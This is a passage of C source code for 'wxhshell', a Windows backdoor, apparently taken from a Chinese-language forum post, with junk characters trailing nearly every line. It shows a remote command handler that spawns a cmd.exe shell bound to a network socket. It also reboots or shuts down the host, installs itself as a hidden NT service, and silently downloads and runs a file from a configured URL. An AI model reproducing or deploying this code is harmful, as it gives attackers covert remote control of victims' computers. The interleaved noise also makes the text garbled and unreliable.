    switch(cmd[0]) { M.fA5rJ^  
  "{M?,jP#  
  // 帮助 v] hu5t  
  case '?': { O{ |Ug~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #= @?)\~  
    break; k83S.*9Mx  
  } L=V.@?  
  // 安装 WXe]Q bg  
  case 'i': {  /J[s5{  
    if(Install()) QEc4l[^{.B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sff4N>XAl<  
    else J3_Ou2cF`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L4or*C^3  
    break; B PG&R  
    } WM9z~z'2a  
  // 卸载 EM,=R  
  case 'r': { y=SVS3D  
    if(Uninstall()) +PKd </*]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7,5Bur  
    else CRPE:7,D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9i+`,r  
    break; >IJX=24Rc  
    } _~O*V&  
  // 显示 wxhshell 所在路径 c[a^fu!  
  case 'p': { !AN;  
    char svExeFile[MAX_PATH]; #N;McF;W  
    strcpy(svExeFile,"\n\r"); R0YWe  
      strcat(svExeFile,ExeFile); K#xL-   
        send(wsh,svExeFile,strlen(svExeFile),0); 2$FH+wuW  
    break; V{n7KhN~Y!  
    } W(Rp@=!C  
  // 重启 /o9 0O&  
  case 'b': { S9d Xkd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KRb'kW  
    if(Boot(REBOOT)) 1\-r5e; BE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x%T.0@!8  
    else { 8~ u/gM  
    closesocket(wsh); z8cefD9F  
    ExitThread(0); z"f+;1  
    } vF1Fcp.@  
    break; w$"^)E G,7  
    } nB6 $*'  
  // 关机 O2"5\@HfE  
  case 'd': { 4|;Ys-Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $+$4W\-=X  
    if(Boot(SHUTDOWN)) vL8Rg} Jh4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iAZbh"I  
    else { sq?js#C5  
    closesocket(wsh); S ^$!n,  
    ExitThread(0); JJy.)-R  
    } `\J,%J  
    break; P=R-1V  
    } zJov*^T-C  
  // 获取shell yX/{eX5dr  
  case 's': { $N\k*=  
    CmdShell(wsh); 8&yI1XM|  
    closesocket(wsh); UT0}Ce>e  
    ExitThread(0); GI6]Ecc  
    break; vQ,<Ke+d  
  } :Q8*MJ3&V  
  // 退出 V&7NN=  
  case 'x': { Q hdG(`PY~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DhXV=Qw  
    CloseIt(wsh); UjS+Ddp  
    break; /[E2+g  
    } b>Ea_3T/  
  // 离开 Y=t? "E  
  case 'q': { IZs&7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J vq)%t8q>  
    closesocket(wsh); q7<=1r+  
    WSACleanup(); JJ9R, 8n6  
    exit(1); o pTH6a  
    break; WjOP2CVv|  
        } $$i Gs6az  
  } #n]K$k>  
  } oxL)Jx\c9A  
!,]2.:{0z  
  // 提示信息 c#TV2@   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U9jdb9 |  
} {.ypZ8JU  
  } (__$YQ-  
{vdY(  
  return; \ &47u1B  
} $gZiW8  
=\G`g #  
// shell模块句柄 ~RLWr.pK  
int CmdShell(SOCKET sock) @0(%ayi2Y  
{ y?U@F/^}N  
STARTUPINFO si; FC WF$'cO  
ZeroMemory(&si,sizeof(si)); dh9@3. t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #}l$<7Z U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _}F _Q5)  
PROCESS_INFORMATION ProcessInfo; sDAP'&  
char cmdline[]="cmd"; E1SWZ&';  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bo1J'pU  
  return 0; sf/m@425  
} TbLU[(m-n  
~'F.tB  
// 自身启动模式 H3 -?cy  
int StartFromService(void) =cO5Nt  
{ IwRP,MQ~  
typedef struct rgDl%X2B  
{ >@Pw{Zh$  
  DWORD ExitStatus; MJkusR/  
  DWORD PebBaseAddress; &XCP@@T  
  DWORD AffinityMask; R+z'6&/ =I  
  DWORD BasePriority; Kp^"<%RT  
  ULONG UniqueProcessId; 5h|aX  
  ULONG InheritedFromUniqueProcessId; m#[9F']Z`  
}   PROCESS_BASIC_INFORMATION; #+i:s92],  
RA?_j$  
PROCNTQSIP NtQueryInformationProcess; 9MH;=88q  
"U+c`V=w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (<rE1w2s:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <v/aquLN  
%|D) U>o{  
  HANDLE             hProcess; -}PE(c1%?q  
  PROCESS_BASIC_INFORMATION pbi; #RbdQH !  
mG$N%`aG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l(Dr@LB~  
  if(NULL == hInst ) return 0; `Ns Q&G  
!&:Cp_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  ? 8/r=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zliMG=6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +~ Hb}0ry  
V^4v`}Wgx  
  if (!NtQueryInformationProcess) return 0;  ;u [:J  
[+QyKyhTO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `wZ  
  if(!hProcess) return 0; 8:)[.  
?zQW9e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &iZt(XD  
(P;TM1k  
  CloseHandle(hProcess); K^o{lyK;@~  
(EvYrm4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bI|{TKKN&P  
if(hProcess==NULL) return 0; *JfGGI_E  
L>mM6$l  
HMODULE hMod; v9FR  
char procName[255]; ,]nRnI^  
unsigned long cbNeeded;  v\CBw"  
." gq[0_YS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P3-O)m]jv  
o.w/ ?  
  CloseHandle(hProcess); SP/b 4  
y10W\beJ  
if(strstr(procName,"services")) return 1; // 以服务启动 [PB73q8  
IZm6.F  
  return 0; // 注册表启动 `"PHhCG+z  
} &@'%0s9g  
~@*q8l C  
// 主模块  otfmM]f  
int StartWxhshell(LPSTR lpCmdLine) ](v,2(}=  
{ ah f,- ?S  
  SOCKET wsl; kZo# Ny  
BOOL val=TRUE; w\ 0vP  
  int port=0; +H?g9v40  
  struct sockaddr_in door; VcXr!4 M  
"" >Yw/'  
  if(wscfg.ws_autoins) Install(); ,A7:zxnc.V  
Pz[UAJ  
port=atoi(lpCmdLine); bcjh3WP  
YFPse.2$a  
if(port<=0) port=wscfg.ws_port; pdER#7Tq  
Fx}v.A5  
  WSADATA data; i7PS=]TK\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'jMs&  
-:p VDxO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ] Ok &%-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /4OQx0Xmm  
  door.sin_family = AF_INET; wr:W}Z@pL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H ?9Bo!  
  door.sin_port = htons(port); ;dMr2y`6  
jA;b2A]G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ezbk@no  
closesocket(wsl); -,YI>!  
return 1; DBHHJD/q  
} QI U%!9Y  
rqiH!R  
  if(listen(wsl,2) == INVALID_SOCKET) { rp dv{CUp7  
closesocket(wsl); uL-kihV:-  
return 1; &=*1[j\  
} =,q/FY:  
  Wxhshell(wsl); [%R?^*]  
  WSACleanup(); re/u3\S  
<9"@<[[,  
return 0; t( V 2  
eY`9J4o'  
} 37:tu7e~c  
Qxa Me8 (  
// 以NT服务方式启动 -zMvpe-am&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $*$4DG1gaR  
{ "%+||IyW  
DWORD   status = 0; 4[gbRn'  
  DWORD   specificError = 0xfffffff; ": BZZ\!  
R!7--]Wcg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <dE~z]P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !`7evV:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'YG P42#  
  serviceStatus.dwWin32ExitCode     = 0; K3h];F! ^  
  serviceStatus.dwServiceSpecificExitCode = 0; {+cx}`  
  serviceStatus.dwCheckPoint       = 0; U';)]vB$  
  serviceStatus.dwWaitHint       = 0; ~,};FI  
yK"\~t[@X:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qi dI  
  if (hServiceStatusHandle==0) return; w5s&Ws  
5wh(Qdib  
status = GetLastError(); yx&}bu\  
  if (status!=NO_ERROR) 87B$  
{ .@+M6K*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `L <sZ;Cj  
    serviceStatus.dwCheckPoint       = 0; .t>SbGC  
    serviceStatus.dwWaitHint       = 0; +h/OQ]`/m  
    serviceStatus.dwWin32ExitCode     = status; Ksh[I,+N\  
    serviceStatus.dwServiceSpecificExitCode = specificError; tj0 0xYY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5uSg]2:  
    return; Gs|a$^V|o  
  } }id)~h_@  
,wg(}y'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |0u qW1  
  serviceStatus.dwCheckPoint       = 0; <_pLmYI  
  serviceStatus.dwWaitHint       = 0; H(- -hG5}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u81F^72U  
} {yT<22Fl  
8KigGhY'ms  
// 处理NT服务事件,比如:启动、停止 +/%4E %  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pq35w#`!  
{ oNl-! W   
switch(fdwControl) N;P/$  
{ y c<%f  
case SERVICE_CONTROL_STOP: 0QquxYYw,  
  serviceStatus.dwWin32ExitCode = 0; hUp3$4w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rVsCJuxI  
  serviceStatus.dwCheckPoint   = 0; {~}:oV  
  serviceStatus.dwWaitHint     = 0; pp*MHM)x|q  
  { ? N]bFW"t|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u 1}dHMoX~  
  } ZJGIib  
  return; S\sy^Kt~4:  
case SERVICE_CONTROL_PAUSE: y|*4XF<b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j!Ys/ D  
  break; SI%J+Y7  
case SERVICE_CONTROL_CONTINUE: SJj_e-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .3Smqwm=Y  
  break; Vu~fF@ |  
case SERVICE_CONTROL_INTERROGATE: C'l\4ij)7  
  break; HlkjyD8  
}; &.z-itiV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *"F*6+}w"  
} h<?I?ZR0$  
"FGgem%9  
// 标准应用程序主函数 _h=h43'3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #q0xlF@  
{ #\Q)7pgi.  
W0U|XX!&  
// 获取操作系统版本 p((.(fx  
OsIsNt=GetOsVer(); P??pWzb6HH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?H!&4o  
$1)NYsSH/H  
  // 从命令行安装 Sqmjf@o$>  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y%]g,mG  
6~s{HI!  
  // 下载执行文件 c(?OE' "Z  
if(wscfg.ws_downexe) { ?&1%&?cg9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rSW{1o'  
  WinExec(wscfg.ws_filenam,SW_HIDE); C;70,!3  
} V)`Q0}  
+&_n[;   
if(!OsIsNt) { _ J"J[$  
// 如果时win9x,隐藏进程并且设置为注册表启动 biffBC:q  
HideProc(); ahM? ;p  
StartWxhshell(lpCmdLine); c- @EHv  
} pAN$c "  
else I] m&h!  
  if(StartFromService()) /dX,]OFm  
  // 以服务方式启动 .&^M Z8  
  StartServiceCtrlDispatcher(DispatchTable); FuBUg _h  
else m]=G73jzO  
  // 普通方式启动 .:;q8FL/  
  StartWxhshell(lpCmdLine); H0.&~!,*  
l$!NEOK  
return 0; =<= [E:B  
}
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只看该作者 1 发表于: 2006-10-10
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